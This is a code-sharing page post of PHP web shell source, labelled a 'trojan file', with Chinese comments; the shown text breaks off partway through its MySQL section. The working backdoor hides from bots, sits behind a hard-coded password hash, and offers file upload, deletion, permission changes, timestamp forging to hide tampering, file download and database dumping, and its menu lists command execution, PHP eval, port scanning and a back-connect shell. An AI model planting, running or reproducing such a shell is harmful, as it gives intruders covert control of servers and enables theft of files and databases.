[PHP] php木马文件 →→→→→进入此内容的聊天室

来自 , 2020-02-19, 写在 PHP, 查看 122 次.
URL http://www.code666.cn/view/6fec24ea
  1. <?php
  2. //ini_set('display_errors',1);
  3. if( strpos( strtolower( $_SERVER['HTTP_USER_AGENT'] ), 'bot' ) !== false ) {
  4.         header('HTTP/1.0 404 Not Found');
  5.         exit;
  6. }
  7. $mtime = explode(' ', microtime());
  8. $starttime = $mtime[1] + $mtime[0];
  9. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  10. define('SELF', $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
  11. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  12. $dis_func = get_cfg_var('disable_functions');
  13. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  14. if( IS_GPC ) {
  15.         $_POST = s_array($_POST);
  16. }
  17. $P = $_POST;
  18. unset($_POST);
  19. /*===================== 程序配置 =====================*/
  20. $pass  = 'e10adc3949ba59abbe56e057f20f883e'; //对应的密码是 123456
  21. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
  22. // cookie 前缀
  23. $cookiepre = '';
  24. // cookie 作用域
  25. $cookiedomain = '';
  26. // cookie 作用路径
  27. $cookiepath = '/';
  28. // cookie 有效期
  29. $cookielife = 86400;
  30. /*===================== 配置结束 =====================*/
  31. $charsetdb = array(
  32.         'big5'                  => 'big5',
  33.         'cp-866'                => 'cp866',
  34.         'euc-jp'                => 'ujis',
  35.         'euc-kr'                => 'euckr',
  36.         'gbk'                   => 'gbk',
  37.         'iso-8859-1'    => 'latin1',
  38.         'koi8-r'                => 'koi8r',
  39.         'koi8-u'                => 'koi8u',
  40.         'utf-8'                 => 'utf8',
  41.         'windows-1252'  => 'latin1',
  42. );
  43. $act = isset($P['act']) ? $P['act'] : '';
  44. $charset = isset($P['charset']) ? $P['charset'] : 'gbk';
  45. $doing = isset($P['doing']) ? $P['doing'] : '';
  46. for ($i=1;$i<=4;$i++) {
  47.         ${'p'.$i} = isset($P['p'.$i]) ? $P['p'.$i] : '';
  48. }
  49. if (isset($charsetdb[$charset])) {
  50.         header("content-Type: text/html; charset=".$charset);
  51. }
  52. $timestamp = time();
  53. /* 身份验证 */
  54. if ($act == "Logout") {
  55.         scookie('loginpass', '', -86400 * 365);
  56.         @header('Location: '.SELF);
  57.         exit;
  58. }
  59. if($pass) {
  60.         if ($act == 'login') {
  61.                 if ($pass == encode_pass($P['password'])) {
  62.                         scookie('loginpass',encode_pass($P['password']));
  63.                         @header('Location: '.SELF);
  64.                         exit;
  65.                 }
  66.         }
  67.         if (isset($_COOKIE['loginpass'])) {
  68.                 if ($_COOKIE['loginpass'] != $pass) {
  69.                         loginpage();
  70.                 }
  71.         } else {
  72.                 loginpage();
  73.         }
  74. }
  75. /* 验证结束 */
  76. $errmsg = '';
  77. $uchar = '▲';
  78. $dchar = '▼';
  79. !$act && $act = 'file';
  80. //当前目录/设置工作目录/网站根目录
  81. $home_cwd = getcwd();
  82. if (isset($P['cwd']) && $P['cwd']) {
  83.         chdir($P['cwd']);
  84. } else {
  85.         chdir(SA_ROOT);
  86. }
  87. $cwd = getcwd();
  88. $web_cwd = $_SERVER['DOCUMENT_ROOT'];
  89. foreach (array('web_cwd','cwd','home_cwd') as $k) {
  90.         if (IS_WIN) {
  91.                 $$k = str_replace('\\', '/', $$k);
  92.         }
  93.         if (substr($$k, -1) != '/') {
  94.                 $$k = $$k.'/';
  95.         }
  96. }
  97. // 查看PHPINFO
  98. if ($act == 'phpinfo') {
  99.         if (IS_PHPINFO) {
  100.                 phpinfo();
  101.                 exit;
  102.         } else {
  103.                 $errmsg = 'phpinfo() function has disabled';
  104.         }
  105. }
  106. if(!function_exists('scandir')) {
  107.         function scandir($cwd) {
  108.                 $files = array();
  109.                 $dh = opendir($cwd);
  110.                 while ($file = readdir($dh)) {
  111.                         $files[] = $file;
  112.                 }
  113.                 return $files ? $files : 0;
  114.         }
  115. }
  116. if ($act == 'down') {
  117.         if (is_file($p1) && is_readable($p1)) {
  118.                 @ob_end_clean();
  119.                 $fileinfo = pathinfo($p1);
  120.                 if (function_exists('mime_content_type')) {
  121.                         $type = @mime_content_type($p1);
  122.                         header("Content-Type: ".$type);
  123.                 } else {
  124.                         header('Content-type: application/x-'.$fileinfo['extension']);
  125.                 }
  126.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  127.                 header('Content-Length: '.sprintf("%u", @filesize($p1)));
  128.                 @readfile($p1);
  129.                 exit;
  130.         } else {
  131.                 $errmsg = 'Can\'t read file';
  132.                 $act = 'file';
  133.         }
  134. }
  135. ?>
  136. <html>
  137. <head>
  138. <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $charset;?>">
  139. <title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>
  140. <style type="text/css">
  141. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  142. .input, select{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
  143. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  144. .red{color:#f00;}
  145. .black{color:#000;}
  146. .green{color:#090;}
  147. .b{font-weight:bold;}
  148. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;font:12px Arial,Tahoma;height:22px;}
  149. a {color: #00f;text-decoration:none;}
  150. a:hover{color: #f00;text-decoration:underline;}
  151. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
  152. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
  153. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffa;padding:5px 15px 5px 5px;}
  154. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
  155. .head td span{font-weight:normal;}
  156. .infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
  157. form{margin:0;padding:0;}
  158. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  159. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  160. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  161. .drives{padding:5px;}
  162. .drives span {margin:auto 7px;}
  163. </style>
  164. <script type="text/javascript">
  165. function checkall(form) {
  166.         for(var i=0;i<form.elements.length;i++) {
  167.                 var e = form.elements[i];
  168.         if (e.type == 'checkbox') {
  169.                         if (e.name != 'chkall' && e.name != 'saveasfile')
  170.                                 e.checked = form.chkall.checked;
  171.                 }
  172.     }
  173. }
  174. function $(id) {
  175.         return document.getElementById(id);
  176. }
  177. function createdir(){
  178.         var newdirname;
  179.         newdirname = prompt('请输入目录名:', '');
  180.         if (!newdirname) return;
  181.         g(null,null,'createdir',newdirname);
  182. }
  183. function fileperm(pfile, val){
  184.         var newperm;
  185.         newperm = prompt('当前 目录/文件:'+pfile+'\n请输入新的权限:', val);
  186.         if (!newperm) return;
  187.         g(null,null,'fileperm',pfile,newperm);
  188. }
  189. function rename(oldname){
  190.         var newfilename;
  191.         newfilename = prompt('文件名:'+oldname+'\n请输入新的文件名:', '');
  192.         if (!newfilename) return;
  193.         g(null,null,'rename',newfilename,oldname);
  194. }
  195. function createfile(){
  196.         var filename;
  197.         filename = prompt('请输入文件的名字:', '');
  198.         if (!filename) return;
  199.         g('editfile', null, null, filename);
  200. }
  201. function setdb(dbname) {
  202.         if(!dbname) return;
  203.         $('dbform').tablename.value='';
  204.         $('dbform').doing.value='';
  205.         if ($('dbform').sql_query)
  206.         {
  207.                 $('dbform').sql_query.value='';
  208.         }
  209.         $('dbform').submit();
  210. }
  211. function setsort(k) {
  212.         $('dbform').order.value=k;
  213.         $('dbform').submit();
  214. }
  215. function settable(tablename,doing) {
  216.         if(!tablename) return;
  217.         if (doing) {
  218.                 $('dbform').doing.value=doing;
  219.         } else {
  220.                 $('dbform').doing.value='';
  221.         }
  222.         $('dbform').sql_query.value='';
  223.         $('dbform').tablename.value=tablename;
  224.         $('dbform').submit();
  225. }
  226. function s(act,cwd,p1,p2,p3,p4,charset) {
  227.         if(act != null) $('opform').act.value=act;
  228.         if(cwd != null) $('opform').cwd.value=cwd;
  229.         if(p1 != null) $('opform').p1.value=p1;
  230.         if(p2 != null) $('opform').p2.value=p2;
  231.         if(p3 != null) $('opform').p3.value=p3;
  232.         if(p4 != null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}
  233.         if(charset != null) $('opform').charset.value=charset;
  234. }
  235. function g(act,cwd,p1,p2,p3,p4,charset) {
  236.         s(act,cwd,p1,p2,p3,p4,charset);
  237.         $('opform').submit();
  238. }
  239. </script>
  240. </head>
  241. <body style="margin:0;table-layout:fixed; word-break:break-all">
  242. <?php
  243. formhead(array('name'=>'opform'));
  244. makehide('act', $act);
  245. makehide('cwd', $cwd);
  246. makehide('p1', $p1);
  247. makehide('p2', $p2);
  248. makehide('p3', $p3);
  249. makehide('p4', $p4);
  250. makehide('charset', $charset);
  251. formfoot();
  252. if(!function_exists('posix_getegid')) {
  253.         $user = @get_current_user();
  254.         $uid = @getmyuid();
  255.         $gid = @getmygid();
  256.         $group = "?";
  257. } else {
  258.         $uid = @posix_getpwuid(@posix_geteuid());
  259.         $gid = @posix_getgrgid(@posix_getegid());
  260.         $uid = $uid['uid'];
  261.         $user = $uid['name'];
  262.         $gid = $gid['gid'];
  263.         $group = $gid['name'];
  264. }
  265. ?>
  266. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  267.         <tr class="head">
  268.                 <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
  269.         </tr>
  270.         <tr class="alt1">
  271.                 <td>
  272.                         <span style="float:right;">编码:
  273.                         <?php
  274.                         makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'onchange'=>'g(null,null,null,null,null,null,this.value);'));
  275.                         ?>
  276.                         </span>
  277.                         <a href="javascript:g('logout');">注销</a> |
  278.                         <a href="javascript:g('file',null,'','','','','<?php echo $charset;?>');">文件管理器</a> |
  279.                         <a href="javascript:g('mysqladmin',null,'','','','','<?php echo $charset;?>');">MYSQL管理</a> |
  280.                         <a href="javascript:g('shell',null,'','','','','<?php echo $charset;?>');">执行命令</a> |
  281.                         <a href="javascript:g('phpenv',null,'','','','','<?php echo $charset;?>');">PHP变量</a> |
  282.                         <a href="javascript:g('portscan',null,'','','','','<?php echo $charset;?>');">端口扫描</a> |
  283.                         <a href="javascript:g('secinfo',null,'','','','','<?php echo $charset;?>');">安全信息</a> |
  284.                         <a href="javascript:g('eval',null,'','','','','<?php echo $charset;?>');">Eval PHP代码</a>
  285.                         <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect',null,'','','','','<?php echo $charset;?>');">Back Connect</a><?php }?>
  286.                 </td>
  287.         </tr>
  288. </table>
  289. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  290. <?php
  291. $errmsg && m($errmsg);
  292. if ($act == 'file') {
  293.         // 判断当前目录可写情况
  294.         $dir_writeable = @is_writable($cwd) ? 'Writable' : 'Non-writable';
  295.         if (isset($p1)) {
  296.                 switch($p1) {
  297.                         case 'createdir':
  298.                                 // 创建目录
  299.                                 if ($p2) {
  300.                                         m('Directory created '.(@mkdir($cwd.$p2,0777) ? 'success' : 'failed'));
  301.                                 }
  302.                                 break;
  303.                         case 'uploadFile':
  304.                                 // 上传文件
  305.                                 m('File upload '.(@move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cwd.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  306.                                 break;
  307.                         case 'fileperm':
  308.                                 // 编辑文件属性
  309.                                 if ($p2 && $p3) {
  310.                                         $p3 = base_convert($p3, 8, 10);
  311.                                         m('Set file permissions '.(@chmod($p2, $p3) ? 'success' : 'failed'));
  312.                                 }
  313.                                 break;
  314.                         case 'rename':
  315.                                 // 改名
  316.                                 if ($p2 && $p3) {
  317.                                         m($p3.' renamed '.$p2.(@rename($p3, $p2) ? ' success' : ' failed'));
  318.                                 }
  319.                                 break;
  320.                         case 'clonetime':
  321.                                 // 克隆时间
  322.                                 if ($p2 && $p3) {
  323.                                         $time = @filemtime($p3);
  324.                                         m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
  325.                                 }
  326.                                 break;
  327.                         case 'settime':
  328.                                 // 自定义时间
  329.                                 if ($p2 && $p3) {
  330.                                         $time = strtotime($p3);
  331.                                         m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
  332.                                 }
  333.                                 break;
  334.                         case 'delete':
  335.                                 // 批量删除文件
  336.                                 if ($P['dl']) {
  337.                                         $succ = $fail = 0;
  338.                                         foreach ($P['dl'] as $f) {
  339.                                                 if (is_dir($cwd.$f)) {
  340.                                                         if (@deltree($cwd.$f)) {
  341.                                                                 $succ++;
  342.                                                         } else {
  343.                                                                 $fail++;
  344.                                                         }
  345.                                                 } else {
  346.                                                         if (@unlink($cwd.$f)) {
  347.                                                                 $succ++;
  348.                                                         } else {
  349.                                                                 $fail++;
  350.                                                         }
  351.                                                 }
  352.                                         }
  353.                                         m('Deleted folder/file(s) have finished, choose '.count($P['dl']).', success '.$succ.', fail '.$fail);
  354.                                 } else {
  355.                                         m('Please select folder/file(s)');
  356.                                 }
  357.                                 break;
  358.                         case 'paste':
  359.                                 if($_SESSION['do'] == 'copy') {
  360.                                         foreach($_SESSION['dl'] as $f) {
  361.                                                 copy_paste($_SESSION['c'],$f, $cwd);                                   
  362.                                         }
  363.                                 } elseif($_SESSION['do'] == 'move') {
  364.                                         foreach($_SESSION['dl'] as $f) {
  365.                                                 @rename($_SESSION['c'].$f, $cwd.$f);
  366.                                         }
  367.                                 }
  368.                                 unset($_SESSION['do'], $_SESSION['dl'], $_SESSION['c']);
  369.                                 break;
  370.                         default:
  371.                                 if($p1 == 'copy' || $p1 == 'move') {
  372.                                         if (isset($P['dl']) && count($P['dl'])) {
  373.                                                 $_SESSION['do'] = $p1;
  374.                                                 $_SESSION['dl'] = $P['dl'];
  375.                                                 $_SESSION['c'] = $P['cwd'];
  376.                                                 m('Have been copied to the session');
  377.                                         } else {
  378.                                                 m('Please select folder/file(s)');
  379.                                         }
  380.                                 }
  381.                                 break;
  382.                 }
  383.                 echo "<script type=\"text/javascript\">$('opform').p1.value='';$('opform').p2.value='';</script>";
  384.         }
  385.         //操作完毕
  386.         $free = @disk_free_space($cwd);
  387.         !$free && $free = 0;
  388.         $all = @disk_total_space($cwd);
  389.         !$all && $all = 0;
  390.         $used = $all-$free;
  391.         p('<h2>文件管理器——当前的磁盘空间 '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');
  392.         $cwd_links = '';
  393.         $path = explode('/', $cwd);
  394.         $n=count($path);
  395.         for($i=0;$i<$n-1;$i++) {
  396.                 $cwd_links .= '<a href="javascript:g(\'file\', \'';
  397.                 for($j=0;$j<=$i;$j++) {
  398.                         $cwd_links .= $path[$j].'/';
  399.                 }
  400.                 $cwd_links .= '\');">'.$path[$i].'/</a>';
  401.         }
  402. ?>
  403. <script type="text/javascript">
  404. document.onclick = shownav;
  405. function shownav(e){
  406.         var src = e?e.target:event.srcElement;
  407.         do{
  408.                 if(src.id =="jumpto") {
  409.                         $('inputnav').style.display = "";
  410.                         $('pathnav').style.display = "none";
  411.                         return;
  412.                 }
  413.                 if(src.id =="inputnav") {
  414.                         return;
  415.                 }
  416.                 src = src.parentNode;
  417.         }while(src.parentNode)
  418.         $('inputnav').style.display = "none";
  419.         $('pathnav').style.display = "";
  420. }
  421. </script>
  422. <div style="background:#eee;margin-bottom:10px;">
  423.         <form onsubmit="g('file',this.cwd.value);return false;" method="POST" id="godir" name="godir">
  424.                 <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
  425.                         <tr>
  426.                                 <td width="100%"><?php echo $cwd_links.' - '.getChmod($cwd).' / '.PermsColor($cwd).getUser($cwd);?> (<?php echo $dir_writeable;?>)</td>
  427.                                 <td nowrap><input class="bt" id="jumpto" name="jumpto" value="进入" type="button"></td>
  428.                         </tr>
  429.                 </table>
  430.                 <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
  431.                         <tr>
  432.                                 <td nowrap>当前目录 (<?php echo $dir_writeable;?>, <?php echo getChmod($cwd);?>)</td>
  433.                                 <td width="100%"><input class="input" name="cwd" value="<?php echo $cwd;?>" type="text" style="width:99%;margin:0 8px;"></td>
  434.                                 <td nowrap><input class="bt" value="GO" type="submit"></td>
  435.                         </tr>
  436.                 </table>
  437.         </form>
  438. <?php
  439.         if (IS_WIN) {
  440.                 $comma = '';
  441.                 p('<div class="drives">');
  442.                 foreach( range('A','Z') as $drive ) {
  443.                         if (is_dir($drive.':/')) {
  444.                                 p($comma.'<a href="javascript:g(\'file\', \''.$drive.':/\');">'.$drive.':\</a>');
  445.                                 $comma = '<span>|</span>';
  446.                         }
  447.                 }
  448.                 p('</div>');
  449.         }
  450. ?>
  451. </div>
  452. <?php
  453.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  454.         p('<tr class="alt1"><td colspan="6" style="padding:5px;line-height:20px;">');
  455.         p('<form action="'.SELF.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input name="uploadfile" value="" type="file" /> <input class="bt" value="上传" type="submit" /><input name="charset" value="'.$charset.'" type="hidden" /><input type="hidden" name="p1" value="uploadFile"><input name="cwd" value="'.$cwd.'" type="hidden" /></div></form>');
  456.         p('<a href="javascript:g(\'file\', \''.str_replace('\\','/',$web_cwd).'\');">根目录</a>');
  457.         p(' | <a href="javascript:g(\'file\', \''.$home_cwd.'\');">程序目录</a>');
  458.         p(' | <a href="javascript:g(\'file\',\''.$cwd.'\',null,null,null,\'dir\');">可写目录</a> ');
  459.         p(' | <a href="javascript:createdir();">新建目录</a> | <a href="javascript:createfile();">新建文件</a>');
  460.         p('</td></tr>');
  461.         $sort = array('filename', 1);
  462.         if($p1) {
  463.                 if(preg_match('!s_([A-z_]+)_(\d{1})!', $p1, $match)) {
  464.                         $sort = array($match[1], (int)$match[2]);
  465.                 }
  466.         }
  467.         formhead(array('name'=>'flist'));
  468.         makehide('act','file');
  469.         makehide('p1','');
  470.         makehide('cwd',$cwd);
  471.         makehide('charset',$charset);
  472.         p('<tr class="head">');
  473.         p('<td width="2%" nowrap><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
  474.         p('<td><a href="javascript:g(\'file\',null,\'s_filename_'.($sort[1]?0:1).'\');">文件名</a> '.($p1 == 's_filename_0' ? $dchar : '').($p1 == 's_filename_1' || !$p1 ? $uchar : '').'</td>');
  475.         p('<td width="16%"><a href="javascript:g(\'file\',null,\'s_mtime_'.($sort[1]?0:1).'\');">修改时间</a> '.($p1 == 's_mtime_0' ? $dchar : '').($p1 == 's_mtime_1' ? $uchar : '').'</td>');
  476.         p('<td width="10%"><a href="javascript:g(\'file\',null,\'s_size_'.($sort[1]?0:1).'\');">大小</a> '.($p1 == 's_size_0' ? $dchar : '').($p1 == 's_size_1' ? $uchar : '').'</td>');
  477.         p('<td width="20%">权限 / 修改</td>');
  478.         p('<td width="22%">操作</td>');
  479.         p('</tr>');
  480.         //查看所有可写文件和目录
  481.         $dirdata=$filedata=array();
  482.         if ($p4 == 'dir') {
  483.                 $dirdata = GetWDirList($cwd);
  484.                 $filedata = array();
  485.         } else {
  486.                 // 默认目录列表
  487.                 $dirs = @scandir($cwd);
  488.                 if ($dirs) {
  489.                         $dirs = array_diff($dirs, array('.'));
  490.                         foreach ($dirs as $file) {
  491.                                 $filepath=$cwd.$file;
  492.                                 if(@is_dir($filepath)){
  493.                                         $dirdb['filename']=$file;
  494.                                         $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  495.                                         $dirdb['chmod']=getChmod($filepath);
  496.                                         $dirdb['perm']=PermsColor($filepath);
  497.                                         $dirdb['owner']=getUser($filepath);
  498.                                         $dirdb['link']=$filepath;
  499.                                         if ($file=='..') {
  500.                                                 $dirdata['up']=1;
  501.                                         } else {
  502.                                                 $dirdata[]=$dirdb;
  503.                                         }
  504.                                 } else {
  505.                                         $filedb['filename']=$file;
  506.                                         //$filedb['size']=@filesize($filepath);
  507.                                         $filedb['size']=sprintf("%u", @filesize($filepath));
  508.                                         $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  509.                                         $filedb['chmod']=getChmod($filepath);
  510.                                         $filedb['perm']=PermsColor($filepath);
  511.                                         $filedb['owner']=getUser($filepath);
  512.                                         $filedb['link']=$filepath;
  513.                                         $filedata[]=$filedb;
  514.                                 }
  515.                         }
  516.                         unset($dirdb);
  517.                         unset($filedb);
  518.                 }
  519.         }
  520.         $dir_i = '0';
  521.         if (isset($dirdata['up'])) {
  522.                 $thisbg = bg();
  523.                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  524.                 p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:g(\'file\',\''.getUpPath($cwd).'\');">Parent Directory</a></td>');
  525.                 p('</tr>');
  526.         }
  527.         unset($dirdata['up']);
  528.         usort($dirdata, 'cmp');
  529.         usort($filedata, 'cmp');
  530.         foreach($dirdata as $key => $dirdb){
  531.                 if($p1 == 'getsize' && $p2 == $dirdb['filename']) {
  532.                         $attachsize = dirsize($p2);
  533.                         $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
  534.                 } else {
  535.                         $attachsize = '<a href="javascript:g(\'file\', null, \'getsize\', \''.$dirdb['filename'].'\');">查看大小</a>';
  536.                 }
  537.                 $thisbg = bg();
  538.                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  539.                 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['filename'].'"></td>');
  540.                 p('<td><a href="javascript:g(\'file\',\''.$dirdb['link'].'\')">'.$dirdb['filename'].'</a></td>');
  541.                 p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$dirdb['filename'].'\');">'.$dirdb['mtime'].'</a></td>');
  542.                 p('<td nowrap>'.$attachsize.'</td>');
  543.                 p('<td nowrap>');
  544.                 p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['chmod'].'</a> / ');
  545.                 p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['perm'].'</a>'.$dirdb['owner'].'</td>');
  546.                 p('<td nowrap><a href="javascript:rename(\''.$dirdb['filename'].'\');">重命名</a></td>');
  547.                 p('</tr>');
  548.                 $dir_i++;
  549.         }
  550.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
  551.         $file_i = '0';
  552.         foreach($filedata as $key => $filedb){
  553.                 $fileurl = '/'.str_replace($web_cwd,'',$filedb['link']);
  554.                 $thisbg = bg();
  555.                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  556.                 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['filename'].'"></td>');
  557.                 p('<td>'.((strpos($filedb['link'], $web_cwd) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
  558.                 p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$filedb['filename'].'\');">'.$filedb['mtime'].'</a></td>');
  559.                 p('<td nowrap>'.sizecount($filedb['size']).'</td>');
  560.                 p('<td nowrap>');
  561.                 p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['chmod'].'</a> / ');
  562.                 p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['perm'].'</a>'.$filedb['owner'].'</td>');
  563.                 p('<td nowrap>');
  564.                 p('<a href="javascript:g(\'down\',null,\''.$filedb['filename'].'\');">下载</a> | ');
  565.                 p('<a href="javascript:g(\'editfile\',null,null,\''.$filedb['filename'].'\');">编辑</a> | ');
  566.                 p('<a href="javascript:rename(\''.$filedb['filename'].'\');">重命名</a>');
  567.                 p('</td></tr>');
  568.                 $file_i++;
  569.         }
  570.         p('<tr class="'.bg().' head"><td colspan="5"><a href="http://www.oicto.com/php-trojan-001/" onclick="$(\'flist\').p1.value=\'delete\';$(\'flist\').submit();">删除</a> | <a href="http://www.oicto.com/php-trojan-001/" onclick="$(\'flist\').p1.value=\'copy\';$(\'flist\').submit();">复制</a> | <a href="http://www.oicto.com/php-trojan-001/" onclick="$(\'flist\').p1.value=\'move\';$(\'flist\').submit();">移动</a>'.(isset($_SESSION['do']) && @count($_SESSION['dl']) ? ' | <a href="http://www.oicto.com/php-trojan-001/" onclick="$(\'flist\').p1.value=\'paste\';$(\'flist\').submit();">Paste</a>' : '').'</td><td align="right">'.$dir_i.' 目录 / '.$file_i.' 文件</td></tr>');
  571.         p('</form></table>');
  572. }// end dir
  573. elseif ($act == 'mysqladmin') {
  574.         $order = isset($P['order']) ? $P['order'] : '';
  575.         $dbhost = isset($P['dbhost']) ? $P['dbhost'] : '';
  576.         $dbuser = isset($P['dbuser']) ? $P['dbuser'] : '';
  577.         $dbpass = isset($P['dbpass']) ? $P['dbpass'] : '';
  578.         $dbname = isset($P['dbname']) ? $P['dbname'] : '';
  579.         $tablename = isset($P['tablename']) ? $P['tablename'] : '';
  580.         if ($doing == 'dump') {
  581.                 if (isset($P['bak_table']) && $P['bak_table']) {
  582.                         $DB = new DB_MySQL;
  583.                         $DB->charsetdb = $charsetdb;
  584.                         $DB->charset = $charset;
  585.                         $DB->connect($dbhost, $dbuser, $dbpass, $dbname);
  586.                         if ($P['saveasfile'] && $P['bak_path']) {
  587.                                 $fp = @fopen($P['bak_path'],'w');
  588.                                 if ($fp) {
  589.                                         foreach($P['bak_table'] as $k => $v) {
  590.                                                 if ($v) {
  591.                                                         $DB->sqldump($v, $fp);
  592.                                                 }
  593.                                         }
  594.                                         fclose($fp);                           
  595.                                         $fileurl = str_replace(SA_ROOT,'',$P['bak_path']);
  596.                                         m('Database has backup to <a href="'.$fileurl.'" target="_blank">'.$P['bak_path'].'</a>');
  597.                                 } else {
  598.                                         m('Backup failed');
  599.                                 }
  600.                         } else {
  601.                                 @ob_end_clean();
  602.                                 $filename = basename($dbname.'.sql');
  603.                                 header('Content-type: application/unknown');
  604.                                 header('Content-Disposition: attachment; filename='.$filename);
  605.                                 foreach($P['bak_table'] as $k => $v) {
  606.                                         if ($v) {
  607.                                                 $DB->sqldump($v);
  608.                                         }
  609.                                 }
  610.                                 exit;
  611.                         }
  612.                         $DB->close();
  613.                 } else {
  614.                         m('Please choose the table');
  615.                 }
  616.                 $doing = '';
  617.         }
  618.         formhead(array('title'=>'MYSQL 管理', 'name'=>'dbform'));
  619.         makehide('act','mysqladmin');
  620.         makehide('doing',$doing);
  621.         makehide('charset', $charset);
  622.         makehide('tablename', $tablename);
  623.         makehide('order', $order);
  624.         p('<p>');
  625.         p('地址:');
  626.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  627.         p('用户:');
  628.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  629.         p('密码:');
  630.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  631.         makeinput(array('value'=>'连接','type'=>'submit','class'=>'bt'));
  632.         p('</p>');
  633.         if ($dbhost && $dbuser && isset($dbpass)) {
  634.                 // 初始化数据库类
  635.                 $DB = new DB_MySQL;
  636.                 $DB->charsetdb = $charsetdb;
  637.                 $DB->charset = $charset;
  638.                 $DB->connect($dbhost, $dbuser, $dbpass, $dbname);
  639.                 //获取数据库信息
  640.                 p('<p class="red">MySQL '.$DB->version().' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  641.                 $highver = $DB->version() > '4.1' ? 1 : 0;
  642.                 //获取数据库
  643.                 $query = $DB->query("SHOW DATABASES");
  644.                 $dbs = array();
  645.                 $dbs[] = '-- Select a database --';
  646.                 while($db = $DB->fetch($query)) {
  647.                         $dbs[$db['Database']] = $db['Database'];
  648.                 }
  649.                 makeselect(array('name'=>'dbname','option'=>$dbs,'selected'=>$dbname,'onchange'=>'setdb(this.options[this.selectedIndex].value)'));
  650.                 if ($dbname) {
  651.                         p('<p>Current dababase: <a href="javascript:setdb(\''.$dbname.'\');">'.$dbname.'</a>');
  652.                         if ($tablename) {
  653.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> ]');
  654.                         }
  655.                         p('</p>');
  656.                         $sql_query = isset($P['sql_query']) ? $P['sql_query'] : '';
  657.                         if ($tablename && !$sql_query) {
  658.                                 $sql_query = "SELECT * FROM $tablename LIMIT 0, 30";
  659.                         }
  660.                         if ($tablename && $doing == 'structure') {
  661.                                 $sql_query = "SHOW FULL COLUMNS FROM $tablename;\n";
  662.                                 $sql_query .= "SHOW INDEX FROM $tablename;";
  663.                         }
